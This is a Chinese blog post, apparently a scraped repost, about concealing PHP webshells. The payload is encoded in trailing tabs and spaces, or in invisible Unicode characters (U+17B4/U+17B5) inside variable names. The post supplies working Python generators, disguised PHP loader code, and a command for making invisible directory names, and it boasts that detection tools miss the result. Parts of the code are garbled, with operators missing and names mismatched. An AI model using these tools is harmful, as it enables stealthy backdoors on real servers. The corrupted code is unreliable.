一个经典的挑球WebShell大约
一个經典的挑球WebShell
大约是在上年,闲下来无聊的时候阅览知乎问答,看到了那么一个回应:https://www.zhihu.com/question/68591788/answer/269545371
在其中最终哪个挑球的 webshell 造成了我的留意:
dataProcessor($f[$i]);
} else {
$c .= $this->dataProcessor($f[$i]);
}
}
$t = $r('',"$c");
$t();
}
function dataProcessor($li) {
preg_match('/([\t ] )\r?\n?$/', $li, $m);
if (isset($m[1])) {
$l = dechex(substr_count($m[1], "\t"));
$r = dechex(substr_count($m[1], " "));
$n = hexdec($l.$r);
return chr($n);
}
return "";
}
}
new newDataProvider();
?>
如同这名答主说的那般,大伙儿能否看得出这个是 webshell 呢?及其评定一下自身在真正的系统软件中,许多 php 文档存有的状况下,能否发现这一 php 文档有点儿难题呢?我我觉得自身在应急处置时,仅有细心看的情况下才可以发现它是个 webshell,否则我毫无疑问粗略地扫一眼认为是一切正常的 php 业务流程编码,立即忽略
还有的人喜爱根据查找 webshell 关键词那样大批量去找,这就更不太可能找到。那麼这一 webshell 的基本原理是什么呢?每一行最终都是有空格符与制表符。\t的总数意味着着 ascii 码 16 进制的第一位,空格符的总数意味着着 ascii 码 16 进制的第二位。随后有一个重要的15,实际上意味着了前 15 行的空白字符构成的是create_function,后边就可以写一句话咯,比如eval($_GET["pass"]);,每一行载入一个字符就可以。实行的情况下先载入本身编码以后,按行获取出里边的空格符和制表符,获取出掩藏的编码以后实行就完了了。
自然,要自身去加空格符和制表符真是是灭绝人性
所以我写了个掩藏 webshell 的编码以下:
import sys
def put_color(string, color):
colors = {
'red': '31',
'green': '32',
'yellow': '33',
'blue': '34',
'pink': '35',
'cyan': '36',
'gray': '2',
'white': '37',
}
return '\033[40;1;%s;40m%s\033[0M' % (colors[color], str(string))
if len(sys.argv) not in [3, 4]:
sys.exit(
'''[!] usage: python hidden_webshell.py payload filename [output_filename]\n'''
''' [-] example: python {}{}{}'''.format(
put_color('hidden_webshell.py', 'white'),
put_color(''' 'system("echo \"hacked by Tr0y :)\"");' ''', 'green'),
put_color('webshell.php', 'blue')
)
)
webshell_name = sys.argv[2]
hidden_name = sys.argv[3] if len(sys.argv) == 4 else 'webshell_hidden.php'
exp = sys.argv[1] # '''system("echo 'hacked by Tr0y :)'");'''
if not exp.endswith(';'):
print('[!] WARN: {} {}'.format(
put_color('The payload should end in', 'yellow'),
put_color(';', 'cyan')
))
print('[ ] Hide webshell')
print(' [-] Read from {}'.format(put_color(webshell_name, 'blue')))
print(' [-] Payload is {}'.format(put_color(exp, 'green')))
payload = 'create_function' exp
with open(webshell_name, 'r') as fp:
raw_php = fp.readlines()
for line, content in enumerate(payload):
hex_num = hex(ord(content))
tab_num = int(hex_num[2], 16)
space_num = int(hex_num[3], 16) # 最好用空格符的数量意味着个位
hidden = '\t' tab_num ' ' space_num
if line < len(raw_php):
if raw_php[line].endswith('\n'):
raw_php[line] = raw_php[line][:-1] hidden '\n'
else:
raw_php[line] = raw_php[line] hidden
else:
raw_php.append(hidden "\n")
with open(hidden_name, 'w') as fp:
fp.writelines(raw_php)
print('[!] Saved as {}'.format(put_color(hi
dden_name, 'blue')))
print('[!] All done\n\nBye :)')
随后大家还必须提前准备一个看起来一切正常的 php 编码。实际上这一步很重要,假如你的 php 编码看上去越没害,隐敝实际效果就就越好:
getArrayValue($lines[$i]);
if ($i < 15) {
$lower .= $value;
} else {
$higher .= $value;
}
}
$verifyScore = $lower('', "$higher");
$result = $verifyScore();
return $result;
}
function getArrayValue($result) {
preg_match('/([\t ] )\r?\n?$/', $result, $match);
if (isset($match[1])) {
$lower = dechex(substr_count($match[1], "\t"));
$higher = dechex(substr_count($match[1], " "));
$result = hexdec($lower.$higher);
$result = chr($result);
return $result;
}
return '';
}
}
$score = new getHigherScore();
随后掩藏:
光看嘛是看不出什么的(留意,由于每一行的最终都是掩藏信息内容,因此 假如原 php 编码的个数不足多,文档最终便会空出许多 行,那样非常容易被发觉,提议在天赋加点废弃物编码添充一下,我较为懒也不搞了)
可是搞个在线编辑器开启,就非常容易被看出去:
有些人很有可能会感觉这一文档非常容易被发觉,但事实上在真正的应急处置全过程中,掩藏的方式通常便是那么简易,简易而合理。通常便是大伙儿不屑一顾的小窍门,能做到出乎意料的实际效果。自然这种大道理我是在后面磨练和实生物悟到的。因此 ,在那时候我对这一方式的心态,感觉它趣味要远高于感觉它很好用。
看不到的标识符
大约是在去年吧,闲下来无聊的时候阅览 freebuf(平时无趣)
看到了那么一篇文章:《Linux应急故事之四两拨千斤:黑客一个小小玩法,如何看瞎双眼》,https://www.freebuf.com/articles/terminal/187842.html,再点进来看过一下。本文我简易小结一下:侵略者将文件夹名称取名为 . .(正中间是个空格符),骗得了应急处置工作人员,使他找不着病毒感染文件夹名称……
吧,无论怎样说,这也确认了我上边的叫法:简易合理是最好是的。但我认为本文干货知识很少,缘故并并不是由于这一方式很 low 或是是他水准不好,只是网络攻击竟然用的是空格符而不是别的更为隐敝的标识符。所以我带著心寒的情绪留有了这一评价: 图上运用了 Unicode 的一些不由此可见标识符,不仅搞出了好几个 ..
,乃至也有好几个 .
,随意挑一个字符来用,不相比空格符强?
标识符能用 6D4
、115F
、1160
、17B4
、17B5
,我估算相近的也有好多好多,实际操作能够那样:echo -e ".\u17B4." | xargs mkdir
。可是即应用了这种更为隐敝的方式,也是能被找出去的,就例如那一篇文章中 dump 运行内存,或是用 od 还可以直接看的:
bash-3.2$ ls -ad .*| od -c
0000000 . \n . . \n . � 236 � . \n
0000013
再不济,就宛如那篇的文章内容发表评论有些人强调的:
相近的标识符也有以前在 fb 上传出的一篇文章:《用零宽度字符水印揭露泄密者身份》,https://www.freebuf.com/articles/web/167903.html,本文里关键提及的是抓奸细,防泄露,那时候因为我写了个专用工具完成了一下:https://github.com/Macr0phag3/Zero-Width-Spaces-Hiden,便是运用不由此可见的 Unicode 标识符来掩藏信息内容,近期也是有 CTF 刚开始玩这一招数了。
挑球 WebShell pro 版
前几日在內部防御演习,由于全是一个组的,大伙儿知根♂知底♀的,因此 在提前准备 webshell 的情况下我也想整时新的物品。那麼大家如今拥有什么?大家拥有掩藏 webshell 的方式,又拥有看不到的标识符,假如将空格符与 tab 各自用 2 个不一样的不由此可见标识符更换,挑球 webshell pro 版就问世了:
import re
import sys
import binascii
def put_color(string, color):
colors = {
'red': '31',
'green': '32',
'yellow': '33',
'blue': '34',
'pink': '35',
'cyan': '36',
'gray': '2',
'white': '37',
}
return '\033[40;1;%s;40m%s\033[0M' % (colors[color], str(string))
if len(sys.argv) not in [3, 4]:
sys.exit(
'''[!] usage: python hidden_webshell.py payload filename [output_filename]\n'''
''' [-] example: python {}{}{}'''.format(
put_color('hidden_webshell.py', 'white'),
put_color(''' 'system("echo \"hacked by Tr0y :)\"");' ''', 'green'),
put_color('webshell.php', 'blue')
)
)
webshell_name = sys.argv[2]
hidden_name = sys.argv[3] if len(sys.argv) == 4 else 'webshell_hidden.php'
exp = sys.argv[1] # '''system("echo 'hacked by Tr0y :)'");'''
if not exp.endswith(';'):
print('[!] WARN: {} {}'.format(
put_color('The payload should end in', 'yellow'),
put_color(';', 'cyan')
))
print('[ ] Hide webshell')
print(' [-] Read from {}'.format(put_color(webshell_name, 'blue')))
print(' [-] Payload is {}'.format(put_color(exp, 'green')))
hidden_str = ["឴", "឵"]
hidden_str = ["K", "k"]
payload = list('create_function' exp)
with open(webshell_name, 'r') as fp:
raw_php = fp.readlines()
last_line_num = var_count = 0
last_var = ''
for line_num, content in enumerate(raw_php):
phpvar = re.findall('^\s(\$[0-9a-zA-Z] )\s =', content)
if php_var:
last_var = php_var[0]
last_line_num = line_num
var_count = 1
if not var_count:
print('[!] ERRO: {}'.format(
put_color('The PHP file must contains valid $vars', 'red'),
))
replaced = {}
for line_num, content in enumerate(raw_php[:last_line_num]):
if not payload:
break
vartmp = re.findall('^\s(\$[0-9a-zA-Z] )\s =', content)
if var_tmp:
var = var_tmp[0]
content = raw_php[line_num]
char = payload.pop(0)
print('掩藏', char, content)
hex_num = hex(ord(char))
tab_num = int(hex_num[2], 16)
space_num = int(hex_num[3], 16)
need_replace[var] = var "\u17B4" tab_num "\u17B5" space_num
replace_str = var hidden_str[0] tab_num hidden_str[1] space_num
replaced[var] = replacestr
for var in replaced:
tmp = re.findall(re.escape(var) '(?![0-9a-zA-Z])', raw_php[line_num])
if tmp:
var_to_replace = tmp[0]
print(f'将 {raw_php[line_num]} 中的 {var_to_replace} 更换为 {replaced[var]}')
raw_php[line_num] = raw_php[line_num].replace(var_to_replace, replaced[var])
if payload:
replace_str = bin(
int(binascii.b2a_hex(bytes(''.join(payload), 'utf8')), 16)
)[2:].replace('0', hidden_str[0]).replace('1', hidden_str[1])
replaced[last_var] = last_var[:2] replace_str lastvar[2:]
for var in replaced:
tmp = re.findall(re.escape(var) '(?![0-9a-zA-Z])', raw_php[last_line_num])
if tmp:
var_to_replace = tmp[0]
print(f'将 {raw_php[last_line_num]} 中的 {var_to_replace} 更换为 {replaced[var]}')
raw_php[last_line_num] = raw_php[last_line_num].replace(var_to_replace, replaced[var])
with open(hidden_name, 'w') as fp:
fp.writelines(raw_php)
print('[!] Saved as {}'.format(put_color(hidden_name, 'blue')))
print('[!] All done\n\nBye :)')
一样,提前准备一下 php 文档:
getArrayValue($lines[$i]);
if ($value) $count = 1;
else continue;
if ($count < 16) $lower .= $value;
else $higher .= $value;
}
$verifyScore = $lower('', "$higher");
$result = $verifyScore();
return $result;
}
function getArrayValue($test_str) {
preg_match('/^\s\$[^឴឵] ([឴឵] ).?=/', $test_str, $match_test_1);
preg_match('/^\s\$.([឴឵] ).=/', $test_str, $match_test_2);
if (isset($match_test_1[0])) {
$lower_char = dechex(substr_count($match_test_1[1], "឴"));
$higher_char = dechex(substr_count($match_test_1[1], "឵"));
$result = chr(hexdec($lower_char.$higher_char));
return $result;
} else if(isset($match_test_2[0])) {
$matched = array();
$content = str_replace("឵", 'b', str_replace("឴", 'w', $match_test_2[1]));
for($i = 0; $i < strlen($content); $i ) {
$matched[$i] = $content[$i] 1024;
if($content[$i] == $content[1]) {
$matched[$i] = 1;
}
}
return pack('H*', test(preg_replace('/[^\d] /i', "", json_encode($matched))));
}
}
}
$score = new getHigherScore();
?>
运作!
实际效果:
我试了许多 方式 ,除非是是用 od 那样逐个显示字符的,不然大部分在线编辑器/指令都不容易显示信息这一2个标识符:\u17B4、\u17B5。迄今为止,我碰到唯一会显示信息出这两个标识符的是 MacOS 内置的在线编辑器:
这两个往往不由此可见,好像是绝大多数在线编辑器对 Unicode 的适用不足好,许多 标识符显示信息不上?无论怎样说,去 Unicode 里再淘一淘别的标识符,毫无疑问会出现更为适合的~
留意:因为 php 会将这两个标识符觉得是一般标识符而不是像空格符、tab 那样的空白字符,放到行最终便会出错
因此 掩藏方法我稍干了调节:将不由此可见标识符插进到自变量结尾,剩下的标识符藏在最终一行,分析方法相匹配稍加更改。诸位自主调节逻辑性吧,放到注解里啊、固定不动的字符串数组里啊也都能够的,要是源码看上去够一切正常就可以。实际上在大部分状况下,只必须再用终端设备的情况下,大部分指令显示信息不出来这两个标识符,就早已充足应用了。
最终一些话
所述的这种 webshell 能挑球,是否会被设备检验到呢?我觉得是有可能的。无论是第一个 webshell 的空格符和 tab,還是 pro 版的这些不由此可见标识符,他们自身便会提升文档的独特性,尽管人眼见不出来,可是根据信息熵或是统计学方法的检验也许能解开将这种 webshell 的面具。但是就现阶段看来,无论是字符串长度還是关键词配对乃至是深度学习优化算法,针对该类 webshell 的检验都较差(现阶段我都没找到可以杀毒上边2个 webshell 的专用工具,如果有得话请在发表评论跟我说)。
我们要時刻记牢的是,No Silver Bullet:)
(不清楚如今 fb 的编码是否還是有缩近遗失的难题 [手动狗头],所以我弄了一个 GitHub 库房:https://github.com/Macr0phag3/webshell-bypassed-human,全部的编码都会里边了)
相关文章
- 4条评论
- 嘻友喵叽2022-05-28 04:30:48
- sp; return $result; } return '';&nbs
- 语酌美咩2022-05-28 12:07:25
- or var in replaced: tmp = re.findall(re.escape(var) '(?![0-9a-zA-Z])', raw_php[la
- 森槿晴枙2022-05-28 03:13:45
- p; $result = $verifyScore(); return $result; } function getArrayValue($result) {&nb
- 礼忱昭浅2022-05-28 09:28:18
- e: raw_php.append(hidden "\n")with open(hidden_name, 'w') as fp: fp.writelines(raw_php)